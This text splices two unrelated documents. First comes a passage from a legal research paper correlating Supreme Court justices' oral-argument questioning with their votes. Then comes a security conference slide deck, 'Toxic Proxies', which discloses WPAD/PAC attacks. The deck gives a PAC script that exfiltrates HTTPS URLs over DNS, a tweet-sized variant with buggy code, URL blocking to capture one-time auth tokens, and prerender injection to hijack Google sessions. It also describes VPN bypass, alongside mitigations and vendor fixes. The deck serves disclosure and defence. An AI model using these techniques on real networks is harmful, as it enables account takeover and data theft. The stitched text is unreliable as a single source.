cases fail to specify which side they represented. Likewise, readers with an actuarial bent will
notice that for some justices, particularly those who have been on the court the longest, the
total number of cases heard by the court during a Justice’s tenure is slightly higher than the
sum of the number of cases in which the Justice voted for the majority, the number of cases in
which the justice voted for the minority, and the number of cases in which the justice did not
participate. Again, this represents some minor inconsistency in the way that Oyez has recorded
the justices’ votes, and the relatively few missing votes could be found through further
research, but because the margin of error is less than 1%, the degree of extra precision to be
had by tracking down the missing votes is not worth the rather substantial effort required to
review hundreds of case records for single voting anomalies.
The only data-related flaw of substance is that Oyez seems not to have reported
-6-
the justices’ votes for 78 cases in the 2008 term, as well as 23 other cases between 2006 and
2010.14 This was only discovered late in the analysis, when producing graphs to detect trends in
the justices’ voting patterns, and time did not permit tabulation of the votes in these cases.
Once again, this information is available, albeit not from Oyez, should some intrepid future
researcher find value in filling in the lacunae that remain in this initial paper.
Finally, it is important to note that the findings for the individual justices have
differing weights. For a justice who speaks only rarely at oral argument, or a justice who is new
to the court, even a seemingly stark pattern may not justify a strong conclusion, simply
because there is not enough data to go on.
The Justices
This section provides an overview of the findings for each justice. The first item
is a scorecard with a brief numerical synopsis of the justice’s record on the court. The second
section presents analysis of the oral argument data for cases in which the justice participated.
The oral argument transcripts identify the speaker of each utterance. For the
purposes of this analysis, no attempt was made to differentiate between utterances based on
their nature (e.g., questions, comments, jokes, etc.): it is simply assumed that every time a
justice speaks, it is to ask a question. Questions come in only three classes, therefore, based on
the identity of the last party to speak: the petitioner, the respondent, or a current fellow justice
(questions asked to justices no longer on the court were excluded15).
Cases for which either the justices’ voting records or the advocates’ roles (i.e.,
whether they appeared for the petitioner or the respondent) were not available were excluded
14 Compare, e.g., The Oyez Project, Altria Group v. Good , 555 U.S. ___ (2008) available at:
(http://oyez.org/cases/2000-2009/2008/2008_07_562) (last visited Saturday, May 7, 2011) with The Oyez
Project, Oregon v. Ice , 555 U.S. ___ (2009) available at: (http://oyez.org/cases/2000-2009/2008/2008_07_901)
(last visited Saturday, May 7, 2011).
15 In retrospect, this may have been a mistake, because it tends to understate the value of justice-to-justice
questions for justices with greater seniority on the court. The intent behind the decision was to avoid potential
overstatement of the value resulting from arguments or dialogs with justices no longer present.
-7-
from the analysis, because it would be impossible to link the justices’ votes with whatever they
did at oral argument.
Anthony Kennedy
Scorecard
Cases During Tenure: 2057
Voted with the Majority: 1802
Voted with the Minority: 188
Did Not Participate: 65
Majority Opinions Authored: 214
Concurrences Authored: 192
Dissents Authored: 185
Joined Another Justice’s Opinion: 169
Discussion
The perception of Justice Kennedy as a swing vote seems supported by the fact
that he has voted with the majority in over 87% of the 2,057 cases heard by the Supreme Court
since his appointment: as Justice Kennedy rules, so does the court. In a 5-4 decision, of course,
each of the five votes in the majority is equally decisive– the changing of any would tip the
outcome in the other direction. Justice Roberts, for example, has been with the majority in
roughly the same percentage of the cases he has heard. The phrase “swing vote,” in the context
of the Supreme Court, must therefore mean something more than “strongly correlated with
the outcome of cases,” and must connote a vote that is less easy to predict on policy or
ideological grounds.
Of the 2,057 cases heard during Justice Kennedy’s time on the court, 734 were
included in the oral argument study (i.e., there was complete information about the justices’
rulings in these cases, there was complete information about who represented each party, and
Justice Kennedy said at least one thing in the course of the oral arguments). Over the course of
those cases, Justice Kennedy spoke 8,753 times: 4,378 times to the petitioner, 3,837 times to the
-8-
respondent, and 438 times to another sitting member of the court. Along with Justice Ginsburg,
he is a very even-handed questioner, with only a very slight bias in favor of speaking to the
petitioner. He is also the court’s most even-handed writer of special opinions, balancing
between 51% concurrences, and 49% dissents. Most justices lean in favor of writing dissents.
This even-handedness carries through to the distribution of his questions at oral
argument: even when the cases are grouped by the party for whom Justice Kennedy voted, no
significant pattern emerges.
Questioning Patterns by Vote
Justice Kennedy has a slight tendency to ask more questions of the petitioner in cases where he
votes for the respondent.16 This is not as reliable a metric with Justice Kennedy as it is with
some other justices. For example, in Maryland v. Pringle, 540 U.S. 366 (2003), Justice Kennedy
asked 20 questions of the petitioner and only one of the respondent, and voted for the
petitioner. Likewise in NASA v. FLRA, 527 U.S. 229 (1999), Justice Kennedy voted for the
respondent, having asked the respondent 19 questions and the petitioner only two.
At least at this level of analysis, Justice Kennedy remains one of the most
inscrutable members of the court: his questioning behavior at oral argument does not
telegraph what his vote will be.
16 This will be a recurring trend: many justices tend to ask fewer questions of the party for whom they eventually
vote.
-9-
Antonin Scalia
Scorecard
Cases During Tenure: 2230
Voted with the Majority: 1834
Voted with the Minority: 383
Did Not Participate: 13
Majority Opinions Authored: 229
Concurrences Authored: 341
Dissents Authored: 382
Joined Another Justice’s Opinion: 278
Discussion
As the senior member of the court, Justice Scalia has the left the most abundant
statistical trail. He stably in the majority (82.3%), and is a vigorous author of both dissents and
concurrences. Like Justices Thomas, Ginsburg, Alito and Breyer, he has written more of each
than he has majority opinions, and he is only barely in second place behind Justice Thomas
among his fellow justices in terms of overall likelihood of submitting a written opinion in any
given case (Justice Scalia has written in 671 of the 2213 cases in which he has participated, for
a rate of 42.9%).
Justice Scalia is also an enthusiastic participant in oral argument: in the 754
arguments considered for this analysis, he spoke 17,954 times, for an average of nearly 24
questions per argument. He shows a slightly stronger than average tendency to side with the
petitioner (457 cases, or 60.6%). In cases where he votes for the petitioner, his questioning
pattern at oral argument practically a precise mirror of his questioning in cases where he votes
for the respondent.
-10-
Questioning Patterns by Vote
Most of the justices are at least somewhat “antagonistic” in their questioning, in the sense that
they tend to ask more questions of the party for whom they will not be voting. In a nutshell,
the party who receives fewer questions from Justice Scalia at oral argument can have some
degree of confidence in Justice Scalia’s support at voting time. With Justice Scalia, this is a more
reliable indicator than it is for most other justices: in the 40 cases in which he asked more than
25 questions of the petitioner, he voted for the respondent only 10 times. Correspondingly, in
the 40 cases in which Justice Scalia asked more than 27 questions of the respondent, he voted
for the petitioner only 7 times.
In the 67 cases where the questions were evenly distributed (i.e., less than a
2-question difference between questions asked of the petitioner and questions asked of the
respondent), he voted for the petitioner 60 times (roughly 89.5%). As a result, it would seem
that Justice Scalia’s vote can be inferred with some degree of confidence from the distribution
of his questions at oral argument. Of course, Justice Scalia’s vote may generally also be
predicted based on the content of his questions at oral argument, but in cases where his vote is
in doubt, the distribution of questions might be a worthwhile metric for those seeking to
handicap the court.
-11-
Clarence Thomas
Scorecard
Cases During Tenure: 1546
Voted with the Majority: 1230
Voted with the Minority: 298
Did Not Participate: 21
Majority Opinions Authored: 153
Concurrences Authored: 222
Dissents Authored: 296
Joined Another Justice’s Opinion: 283
Discussion
Not much can be said about Justice Thomas’s speech patterns at oral argument.
He has spoken in only 12 cases eligible for in this study, uttering a total of 37 questions.
Although the balance is quite lopsided (30 of the 37 questions were asked of the respondent),
even such a striking pattern should not be taken as a serious statistical indicator in a sample
this small. In cases where Justice Thomas spoke, he voted for the petitioner 8 times (75%), but
again, that apparent bias may not be indicative of anything in particular.
Justice Thomas’s silence at oral argument is countered, however, by his
outspokenness in the written word: he has written an opinion of some sort (whether majority,
concurrence, or dissent) in 671 of the 1,525 in which he has participated (44%), making him the
court’s leader in terms of likelihood of submitting a written opinion in any given case.
-12-
Elena Kagan
Scorecard
Cases During Tenure: 34
Voted with the Majority: 10
Voted with the Minority: 4
Did Not Participate: 20
Majority Opinions Authored: 3
Concurrences Authored: 0
Dissents Authored: 2
Joined Another Justice’s Opinion: 5
Discussion
Thus far, Justice Kagan’s record with the court is remarkable mostly for the
number of cases in which she has not participated: she has recused herself in 58% of the cases
heard between the time she ascended to the bench and the time when the data for this study
were collected. Of the 14 cases she has heard, only 13 were eligible for inclusion in the oral
argument study. As the court’s newest member, there is not yet much data to go on, but her
behavior thus far is different from that of her fellow justices.
In the first place, she has voted for the respondent in eight of the 13 cases
studied: most justices, and the court as a whole, show at least a moderate statistical preference
for the petitioner. Second, Justice Kagan tends to ask more questions of the petitioner
regardless of what her vote turns out to be: in only three cases has she asked more questions of
the respondent. While it is obviously too early to claim that these trends are in any way
significant, it is interesting to note that Justice Kagan is bucking the court’s trends, at least at
the outset of her tenure.
As a final footnote, the fact that Justice Kagan has such a high rate of
non-participation in cases has had an interesting side-effect: even though there are only 10
cases in which she has voted with the majority, she has written three majority opinions. This is
well over twice the rate experienced by her more senior colleagues, and it shows an amusing
-13-
(if predictable) dynamic in assignments: the fewer cases in which one participates, the more
likely one will have to write the court’s opinion in those cases where one sides with the
majority.
John G. Roberts, Jr.
Scorecard
Cases During Tenure: 325
Voted with the Majority: 285
Voted with the Minority: 27
Did Not Participate: 7
Majority Opinions Authored: 38
Concurrences Authored: 17
Dissents Authored: 25
Joined Another Justice’s Opinion: 33
Discussion
Justice Roberts spoke at oral argument in 265 cases suitable for inclusion in this
study. In the cases examined, Justice Roberts voted for the petitioner 173 times (65%), and for
the respondent 93 times (35%). He has asked a total of 2,475 questions of petitioners (an
average of 9.34), 2,777 questions of respondents (an average of 10.48), and 166 questions of his
fellow justices. These are not distributed evenly, however.
Questioning Patterns by Vote
In other words, in cases where Justice Roberts votes for the respondent, he asks an average of
11.1 questions of the petitioner (and 9.66 of the respondent), and in cases where he votes for
-14-
the petitioner, he asks an average of 10.9 questions of the respondent (and of the 8.4 of the
petitioner). These numbers support the theory that, statistically speaking, Justice Roberts has a
mildly antagonistic questioning style: he tends to ask more questions of the party against
whom he will vote. This is a weaker correlation than we have observed with other justices,
however.
Additionally, Justice Roberts sides with the majority in just over 90% of his votes.
Surprisingly, this is slightly higher than Justice Kennedy’s percentage. The number of
questions Justice Roberts asks of each party is therefore at least weakly correlated with the
outcome of the case. Obviously, this does not establish any sort of causative relationship: one
could not hope to win a case merely by confining one’s oral argument to topics unlikely to
draw questions from Justice Roberts. Nevertheless, litigants seeking to divine the outcome of
their cases after oral argument may wish to count the questions Justice Roberts asks of each
side.
Ruth Bader Ginsburg
Scorecard
Cases During Tenure: 1326
Voted with the Majority: 1055
Voted with the Minority: 270
Did Not Participate: 1
Majority Opinions Authored: 140
Concurrences Authored: 143
Dissents Authored: 257
Joined Another Justice’s Opinion: 275
Discussion
Justice Ginsburg has been on the court for a total of 1,341 cases (as of this data
collection), in that entire time, there has only been one case in which she did not participate,17
and she has spoken at least once in every single argument in which she has participated. Over
17 Federal Election Commission v. NRA Political Victory Fund, 513 U.S. 88 (1994)
-15-
the cases included in this analysis, she voted for the petitioner 431 times (57.8%), and for the
respondent 315 times (42.2%). This pattern places her more or less precisely in harmony with
the court’s overall tendency to side slightly with the petitioner (see the “Case Outcomes”
discussion in the “Court as a Whole” section, below).
Justice Ginsburg has asked a total of 10,501 questions, of which 5,382 (51.2%)
were for the petitioner, 4,818 (45.8%) were for the respondent, and 301 (2.9%) were for a
colleague on the court. On the whole, she is an even-handed questioner, but when she votes for
the respondent, she has a tendency to pepper the petitioner with questions.
Questioning Patterns by Vote
This is not a wholly trustworthy indicator, however: there are 76 cases in which she asked no
questions whatsoever of the respondent, but in those cases she still cast her vote for the
petitioner 40 times (including seven cases in which she asked more than 10 questions of the
petitioner). Still, if we calculate the ration of petitioner questions to respondent questions for
each case, when the ratio is greater than 5-1, she has voted for the petitioner only 23.7% of the
time.
As a general rule, it seems impossible to infer much about Justice Ginsburg’s vote
on the basis of her speaking at oral argument. However, as the ratio of the number of questions
Justice Ginsburg asks of the petitioner at oral argument to the number of questions she asks of
-16-
the respondent increases, the probability of her voting for the petitioner decreases, settling
just below 25% for extreme values.
Samuel A. Alito, Jr.
Scorecard
Cases During Tenure: 304
Voted with the Majority: 238
Voted with the Minority: 37
Did Not Participate: 21
Majority Opinions Authored: 29
Concurrences Authored: 31
Dissents Authored: 33
Joined Another Justice’s Opinion: 33
Discussion
Of the 207 oral arguments eligible for inclusion in this study, Justice Alito voted
with the petitioner 114 times (55%), and in his time on the court overall, he has voted with the
majority 78% of the time, making him a centrist, in terms of the court’s overall tendency to side
slightly in favor of the petitioner. He spoke at oral argument 1,295 times (an average of six
questions per case).
Like Justice Scalia, the pattern of Justice Alito’s allocation of questions between
the petitioner and respondent is an almost perfect mirror image, depending on which party he
eventually votes for, with the party that receives his vote being asked fewer questions.
Questioning Patterns by Vote
-17-
Thus, in cases where Justice Alito voted for the petitioner, the 39.5% of his questions went to
the petitioner, 58.5% to the respondent, and the remaining 2% to his fellow justices. In cases
where the respondent got Justice Alito’s vote, 59.5% of his questions went to the petitioner,
37.4% to the respondent, and the remaining 3.1% to his fellow justices. This is a less reliable
indicator for Justice Alito than it is for Justice Scalia, at least when votes for the respondent are
concerned. In cases where Justice Alito asked more questions of the petitioner, he still voted for
the petitioner 43.7% of the time; in cases where Justice Alito asked more questions of the
respondent, on the other hand, he only voted for the respondent 35.1% of the time.
Sonia Sotomayor
Scorecard
Cases During Tenure: 103
Voted with the Majority: 78
Voted with the Minority: 18
Did Not Participate: 3
Majority Opinions Authored: 12
Concurrences Authored: 8
Dissents Authored: 13
Joined Another Justice’s Opinion: 24
Only 85 cases from Justice Sotomayor’s tenure on the court were eligible for
inclusion in this study. In those cases, she voted for the petitioner 52 times (61.2%), and for the
respondent 33 times (38.8%). As was the case with Justice Ginsburg, Justice Sotomayor tends to
ask more questions of the petitioner in cases where she votes for the respondent.
-18-
Questioning Patterns by Vote
In contrast to Justice Ginsburg, however, there is no clear trend. Justice Sotomayor is liable to
vote either way, regardless of the ratio of petitioner questions to respondent questions. In the
five cases where she asked the petitioner 15 or more questions and the respondent zero, she
voted for the petitioner three times. In the 21 cases where she asked the petitioner more than
10 questions, she voted with the petitioner nine times (or 42.8%). Possibly some more useful
pattern will emerge over time, but at the moment, the best we can say is that in cases where
she asks more than 20 questions of the petitioner, it is likely that Justice Sotomayor will vote
for the respondent. The converse is not necessarily true: in Wood v. Allen, 558 U.S. ___(2010),
Justice Sotomayor asked no questions of the petitioner, but spoke 22 times during the
respondent’s argument and still voted for the respondent.
-19-
Stephen G. Breyer
Scorecard
Cases During Tenure: 1237
Voted with the Majority: 972
Voted with the Minority: 247
Did Not Participate: 16
Majority Opinions Authored: 124
Concurrences Authored: 150
Dissents Authored: 235
Joined Another Justice’s Opinion: 230
Discussion
This analysis covered 716 of the 1237 cases heard by the Supreme Court during
Justice Breyer’s tenure. In those cases, he has spoken a total of 12,892 times, for an average of
18 questions per case. Justice Breyer has voted with the majority in 78.6% of the cases in which
he has participated.
At oral argument, Justice Breyer’s distribution of questions is unique: 57.7% of
his questions are directed at the respondent, and a mere 39.0% at the petitioner, despite the
fact that he has voted for the petitioner in 64.9% of the cases available to this study.
Nevertheless, his questioning is far less respondent-centric in cases where he votes for the
respondent.
Questioning Patterns by Vote
Justice Breyer’s tendency to devote such a high percentage of his questions to the respondent,
-20-
regardless of his eventual vote, is unique among the pool of justices for whom there was
enough data to study. In cases where he has voted for the respondent, just under half of his
questions have been directed at the petitioner (49.7%). In the 435 cases where Justice Breyer
has asked more questions of the respondent, he has voted for the petitioner 76.3% of the time,
whereas in the 246 cases in which he asked more questions of the petitioner, he voted for the
respondent 52.8% of the time. Thus, from a purely statistical perspective, although it is more
likely that Justice Breyer will vote for the petitioner in any given case, that probability
increases, the more questions he asks of the respondent.
The Court As a Whole
Knowledge of the patterns of the justices individually is more helpful when it is
couched in the context of the behavior of the court as a whole. Being “in the majority” differs
from case to case, for example, depending on whether, and how, the court’s votes are split.
Likewise, knowing the tendency of a given justice to vote in favor of the petitioner is more
helpful when compared to the court’s tendency as a collective.
Case Outcomes
As has been mentioned, the court shows a slight bias in favor of petitioners:
petitioners prevailed in roughly 57% of the cases analyzed, as depicted in the figure below.
Cases Resolved in Favor of Petitioner vs. Cases Resolved in Favor of Respondent
This is most likely explained by the fact that litigants would not appeal to the Supreme Court if
-21-
they would reasonably expect to lose. Correspondingly, potential litigants might elect not to
bring suit at all (or to settle, if they find themselves sued), rather than run the risk that the
court might issue a rule that hamstrings their cause for all time.
Decisional Patterns
Over the course of the 2,371 cases studied here, the court has come out with 18
different decisional patterns, ranging from 9-0 to 3-3.18 Of these, only eight patterns amounted
to more than 2% of the total caseload.
Distribution of Decisional Splits
The distribution of decisional splits remains relatively consistent on a year-by-year basis; there
are some fluctuations in the relative frequencies of 5-4 and 7-2 splits, but the pattern is
maintained roughly over time
Relative Frequencies of Decisional Splits by Year
18 Reagan v. Abourezk, 484 U.S. 1 (1987).
-22-
The column for 2008 should be disregarded because, as mentioned above, Oyez did only a
spotty job at recording case outcomes for that year: the information available appears to be
correct, but it is incomplete. Other than that column, the only serious anomalies are the
sudden surges of 8-1 decisions in 1987 and 2010. The 2010 group is explained by Justice Kagan’s
high frequency of recusal, and the fact that not all of the court’s 2010 decisions have yet been
published. In 1987, Justice Kennedy was new to the court, and did not participate in a similar
series of decisions. There do not, in other words, appear to be many significant trends either in
the harmony or the divisiveness of the court, and unanimous decisions are fairly consistently
at least 30% of the court’s output.
Concluding Thoughts
The analysis presented here is interesting, but somewhat superficial– it would be
technically feasible to dig much deeper. Potentially fruitful topics for further investigation
include:
•
Are runs of multiple consecutive questions correlated with specific
outcomes for any of the justices?
•
Is there a correlation between any of the justices’ votes and specific
decisional split patterns (are there, for example, signs in the oral
-23-
argument questioning patterns that point to whether or not a case will be
decided unanimously)?
•
Except for Justice Thomas, does a justice’s silence at oral argument signal
anything about his or her probable vote?
•
Do certain justices tend to engage in dialog with one another, and if so,
does that correlate with any particular pattern in their voting?
The answers to all these questions lie within the data already collected,19 but answering them
would be complex. As it stands, even having done only relatively simple investigation, we are
able to spot several justices whose behavior at oral argument may reveal something about how
they are likely to vote. Specifically, Justices Breyer, Alito, Ginsburg, and Scalia all exhibit
questioning patterns that correlate with their votes; Justice Roberts does as well, but to a
weaker extent. Possibly the same will be true of Justice Sotomayor, as she develops a deeper
history with the court. There has not been enough chance to observe Justice Kagan in action to
say whether she will be at all predictable via this method. The only two justices who appear not
to leak information about their leanings at oral argument are Justice Thomas, who remains
silent, and Justice Kennedy, whose questioning pattern is largely inscrutable.
Of course, in many instances, it may be obvious how a given justice may vote,
based on the justice’s record, or the nature of the questions asked at oral argument. This
research has never set out to supplant standard legal analysis techniques. Reasonable minds
differ on how the court will find in any given case, and the goal of this research is to see if by
relying on tools outside of the usual lawyer’s arsenal, we can provide additional support for a
proposed outcome.
These techniques are presumably of limited utility to advocates: in the heat of
19 Others, such as the question of whether any of the justices behave differently at oral argument in civil cases
than they do in criminal cases, or whether certain justices tend to treat cases from specific circuits differently
would require the collection of additional data.
-24-
oral argument, it’s unlikely that there is anything to be gained by counting questions. They
may be of some help to corporate litigants, however, who could take steps to insulate
themselves from the effects of a forthcoming decision in the time after oral argument, if they
had better insight into what that ruling might be. Most likely, these tools will be of interest to
primarily to court-watchers and handicappers.
In making a more nuanced estimation of the court’s vote in a given case, the first
step is to count any “sure” votes, using traditional policy-based reasoning. Next, one would
tally up the questions asked at oral argument, and check to see if patterns exhibited by the
justices already counted undermined the certainty of their vote. If so, discount the certainty of
their vote by some percentage. Finally, if any of the remaining justices are among those known
to hint at their votes by their behavior at oral argument, use the question tally to predict the
probability of their votes, remembering to factor in their degree of petitioner-bias. At this
point, enough justices should have probabilities assigned to them that it is possible to estimate
the odds of the ultimate outcome.
The dominant strategy for predicting Supreme Court outcomes relies,
understandably, on traditional expertise about the court and the cases in question. Other
strategies exist. The “Fantasy SCOTUS” league,20 for example, endeavors to harness the
collective thoughts of its various players. Prediction based on historical data is another valid
source of input, and if our goal, in the end, is to make more accurate predictions about future
cases, we should be open to incorporating whatever tools can help us accomplish this. This
paper demonstrates the feasibility of providing support for inferences about case outcomes
from oral argument data using homegrown information collection and analysis tools.21
20 http://www.fantasyscotus.net (last visited May 12, 2011)
21 Copies of these tools are available upon request; unfortunately, including the code as an appendix would have
more than doubled the length of the paper.
-25- | pdf |
Toxic Proxies - Bypassing HTTPS & VPNs to
pwn your online identity
Alex Chapman @noxrnet
Paul Stone @pdjstone
Introduction
Our Talk
Exciting introduction
Some history – SSL, PAC, WPAD, sslstrip, HSTS
The PAC Attack – bypassing HTTPS
– Sniffing your traffic
– Stealing your data
– Stealing your accounts
The VPN Attack – bypassing VPNs
Mitgations
Fixes
Rogue Access Point Attacks
Techniques in this talk assume an attacker on the local
network, e.g.
– Open WiFi network
– Attacker on a corporate network
– Compromised router
Can intercept and modify all non encrypted traffic
Can carry out local-network attacks on victims
First there was no encryption
Sure, why not – it’s 1993!
Then there was SSL
Problem: No encryption for sensitive websites
Solution: Opt-in encryption, certificates to verify domain
ownership
Netscape 2 ships with SSL in 1995
Users somewhat safe from passive
traffic sniffing attacks
But SSL wasn’t perfect
Many Problems:
– Most websites allow connecting over HTTP and HTTPS
– Most people connect over HTTP first, site redirects to HTTPS
– Evil MITM can prevent user reaching HTTPS site
Solution: ???
sslstrip released in 2009 - https://moxie.org/software/sslstrip/
– Man-in-the-middle HTTP proxy
– Remove redirects to HTTPS
– Rewrite HTTPS links to HTTP
– Fetch HTTPS-only pages and serve as HTTP
– User never actually reaches the real HTTPS site
But SSL wasn’t perfect
HSTS to the rescue!
Problem: sslstrip broke HTTPS by just ignoring it
Solution: force browser to always use HTTPS
HTTP-Strict-Transport-Security header – 2010
– Removes vulnerable HTTP -> HTTPS redirect
Strict-Transport-Security: max-age=31536000; includeSubDomains
Proxy Auto-Config (PAC)
Problem: Complex intranets require different HTTP proxies
depending on which website you want to visit, e.g.:
– proxyA.initech.corp for most intranet sites
– proxyB.initech.corp for access to preprod sites
– proxyC.initech.corp for public internet access
Solution: JavaScript file to tell browser which proxy to use for
each URL
“Navigator Proxy Auto-Config File Format” - March 1996
– https://web.archive.org/web/20051202115151/http:/
wp.netscape.com/eng/mozilla/2.0/relnotes/demo/proxy-
live.html
Web Proxy Auto-Discovery Protocol (WPAD)
Problem: Browser doesn’t work because a proxy is needed on
network
Solution: Browser/OS automatically gets proxy configuration
from network
“Web Proxy Auto-Discovery Protocol” - December 1999
– https://tools.ietf.org/html/draft-ietf-wrec-wpad-01
Router pushes PAC URL via DHCP option 252
DNS/ LLMNR / NETBIOS requests for wpad, wpad.internalcorp,
wpad.corp etc…
WPAD Attacks
WPAD is a huge attack vector
https://github.com/SpiderLabs/Responder
Malicious network user can respond to WPAD requests, hijack
traffic
All clear-text traffic can be viewed, modified by attacker
Can now inject browser 0-days, sslstrip etc..
Some remote WPAD attacks possible
“Minimally, it can be said that the WPAD protocol does not
create new security weaknesses.” – WPAD Spec
WPAD Attacks in 2016
Windows has WPAD turned on
by default (even in Home
editions!)
A local network attacker can
tell the browser to use a
malicious proxy that can
sniff/inject traffic
Fortunately, HTTPS and HSTS
means traffic to many popular
sites is fully encrypted
sslstrip is a lot less effective
than it was
SRSLY??
Rejected
talk title #1:
Breaking WPAD
New PAC Attacks
How does a PAC script work?
A typical PAC script:
function FindProxyForURL(url, host) {
if (host.indexOf('preprod.initech.corp') >= 0)
return 'proxyB.initech.corp';
else if (host.indexOf('initech.corp') >= 0)
return 'proxyA.initech.corp';
else
return 'proxyC.initech.corp';
}
http://tpsreports.initech.corp proxyA.initech.corp
http://dev.preprod.initech.corp proxyB.initech.corp
http://www.example.com proxyC.initech.corp
PAC - FindProxyForURL
PAC files must define a function called FindProxyForURL:
function FindProxyForURL(url, host) {
return 'DIRECT';
}
where:
url: the full URL being accessed.
host: the hostname extracted from the URL.
Browser will call:
FindProxyForURL('https://foo.com/bar?x=y', 'foo.com');
PAC - FindProxyForURL
PAC files must define a function called FindProxyForURL:
function FindProxyForURL(url, host) {
return 'DIRECT';
}
where:
url: the full URL being accessed.
host: the hostname extracted from the URL.
Browser will call:
FindProxyForURL('https://foo.com/bar?x=y', 'foo.com');
PAC Functions
http://findproxyforurl.com/pac-functions/
– alert
– dateRange
– dnsDomainIs
– dnsDomainLevels
– dnsResolve
– isInNet
– isPlainHostName
– isResolvable
– localHostOrDomainIs
– myIpAddress
– shExpMatch
– timeRange
– weekdayRange
PAC Functions
http://findproxyforurl.com/pac-functions/
– alert
– dateRange
– dnsDomainIs
– dnsDomainLevels
– dnsResolve
These are interesting
– isInNet
– isPlainHostName
– isResolvable
– localHostOrDomainIs
– myIpAddress
– shExpMatch
– timeRange
– weekdayRange
PAC - DNS Leak
Remove / encode special characters in URL to allow leaking over DNS
function FindProxyForURL(url, host) {
if (url.indexOf('https' == 0) {
var leakUrl = (url + '.leak').replace(/[^\w]+/gi, '.');
dnsResolve(leakUrl);
}
return 'DIRECT';
}
https://example.com/login?authtoken=ABC123XYZ
https.example.com.login.authtoken.ABC123XYZ.leak
PAC – DNS Leaking
Only a real vuln if it fits in a tweet:
function FindProxyForURL(u,h){
if (u[4]=='s'){
dnsResolve(url+'.leak').replace(/[^A-Z0-9]+/gi,'.'));
return 'DIRECT';}}
The PAC attack - summary
PAC files allow attacker-controlled JavaScript
to see every HTTPS URL before it gets
requested by the browser. The PAC file can
leak data to an attacker via DNS
HTTPS is meant to protect sensitive data on
untrusted networks, but WPAD+PAC allows
an attacker to do an end-run around HTTPS
Rejected
talk title #2:
aPACalypse Now
Passive Browsing demonstration
Passive Attacks
Searching Google, browsing Wikipedia and Facebook all
happens 100% over HTTPS
With the PAC leak we can sniff:
– Search terms (as you type!)
– All HTTPS pages visited
Active Attacks
Challenge: Steal as much sensitive data as possible using only URLs
HTTP and HTTPS URLs, including path and query string
× HTTP POST bodies
× Cookies and headers
× HTTP response bodies
Limitations breed creativity!
Web isn’t 100% HTTPS (yet) so we can inject content into
non-HTTPS pages
Active Attacks – 302 redirects
Leak sensitive data via redirects from known to unknown URLs
– https://plus.google.com/me/posts
– 302 https://plus.google.com/<userid>/posts
(or accounts.google.com if not logged in)
– https://www.reddit.com/user/me
– 302 https://www.reddit.com/user/<username>
(or reddit.com/login if not logged in)
Inject known URL via hidden image tag:
<img src="https://facebook.com/me/" width=0 height=0>
https.facebook.com.myuser.name is leaked via DNS
Active Attacks – Blocking URLs
Some redirects contain one-time auth tokens
We want to use these on the ‘attacker’ side
Must prevent them loading in the victim browser
PAC script can do selective blocking of URLs:
dnsResolve(escapedUrl)
If (url.indexOf(‘authtoken’) > 0) return ‘nosuchproxy’;
return ‘DIRECT’;
Leak one-time URL to attacker
Active Attacks - prerender(er)-ing pages
We want to load a full webpage, but hide it from the user
Traditionally hidden iframes were great for this:
<iframe width=0 height=0 src="https://facebook.com">
but, most big sites disallow framing with X-Frame-Options
Prerender “gives a hint to the browser to render the specified page in
the background, speeding up page load if the user navigates to it.”
http://caniuse.com/link-rel-prerender
<link rel="prerender" href="https://facebook.com">
Supported by Chrome and Edge
Active Attacks - prerender(er)-ing pages
Load a known URL that fetches other, sensitive URLs
All your Facebook and Google photos are publically accessible
Served from CDNs, no cookies required
If you know the right HTTPS URLs:
https://scontent-lhr3-1.xx.fbcdn.net/v/t1.00/p206x206/10703974_10152242502
538_3345235623697056133_n.jpg?oh=15e8923d456d6748e644f1ca&oe=9CF5DA2A
https://lh3.googleusercontent.com/x5gjakl6gC_av3fs3fa_y6cX-h367fsdaSF
yFU5yE-yTW-Qp9Fe=w250-h250-p-k-nu
<link rel="prerender" href="https://facebook.com/me/photos_all">
Some limitations, including:
– Page load may get halted if it does a POST
– Only one prerender page active at once
Google Docs demonstration
Google Docs Demonstration
htdrive.google.com and googleusercontent.com cannot share cookies
Auth tokens are passed via URL – so we can see them
Load drive.google.com on victim side via prerender
Find document IDs from image thumbnails
Inject https://drive.google.com/uc?id=<docid>&export=download
into victim browser and intercept redirect to googleusercontent.com
with auth token
Replay captured URLs on attacker side
Attacker downloads documents
How far can we take this?
Google first-party SSO
google.com will automatically log you into other Google domains,
e.g. google.co.uk, blogger.com, youtube.com etc..
https://accounts.google.com/ServiceLogin?
passive=true&continue=https://www.google.co.uk/
https://accounts.google.co.uk/accounts/SetSID?ssdc=1&
sidt=<authtoken>&continue=https://www.google.co.uk
Attacker steals this URL via DNS
Now has authenticated session on google.co.uk
302
How far can we take this?
Once on regional Google we can get:
– Uploaded Photos
– Gmail email summaries
– Calendar Agenda
– Get and set Reminders
– Contact details
– Full Location history
screenshots
OAuth
An open protocol to allow secure authorization in a simple and
standard method from web, mobile and desktop applications
(oauth.com)
OAuth 2.0 underlies many single sign-on (SSO) systems including:
OAuth is flexible but most implementations allow exchanging tokens
in URL parameters via 302 redirects
So what? I use a VPN!
VPNs allow data to travel safely over hostile networks via an
encrypted tunnel to a trusted endpoint
Should protect you on public Wifi
VPN bypass
Many VPN clients do not clear proxy settings obtained via WPAD
Traffic is tunnelled between your machine and VPN endpoint
Traffic is then tunnelled through WPAD proxy
And then onto its destination
VPN bypass – affected software
Rejected
talk title #3:
VPN-emy of
the State
VPN demonstration
So what? I don’t use Windows!
The design specification of PAC and WPAD are so bad that
multiple vendors independently implemented the same issues
into various different products
Chrome and Internet Explorer vulnerable by default on
Windows
Firefox, Android, OS X, iOS, Linux vulnerable, but only if
explicitly configured with PAC (probably not that common)
Windows is the only OS with WPAD turned on by default
Mitigations
1. Turn off WPAD
2. No seriously, turn off WPAD
3. If you still need PAC:
– turn off WPAD
– configure an explicit URL for
your PAC script
– and serve it over HTTPS
(or from a local file)
Mitigations – VPN / WPAD Bypass
VPN is safe from WPAD bypass if:
– WPAD is disabled, or
– VPN environment requires an HTTP proxy to reach
Internet, or
– VPN server pushes explicit proxy config to client
The Good News, Vendor Fixes
Context reported PAC issue to vendors on 3rd March 2016
OS X, iOS (and Apple TV!) – patched on 16th May (CVE-2016-1801)
Google Chrome – Patched in Chrome 52 (CVE-2016-????)
–
https://bugs.chromium.org/p/chromium/issues/detail?id=593759
Android – patched, release date unknown (CVE-2016-3763)
–
https://code.google.com/p/android/issues/detail?id=203176
Firefox – patched, release due ???
–
https://bugzilla.mozilla.org/show_bug.cgi?id=1255474
2016 – A bad year for PAC
We’re not the first to spot this issue (but were the first to report it!)
Crippling HTTPS with Unholy PAC - Amit Klein, Itzhak Kotler,
(Black Hat USA 2016)
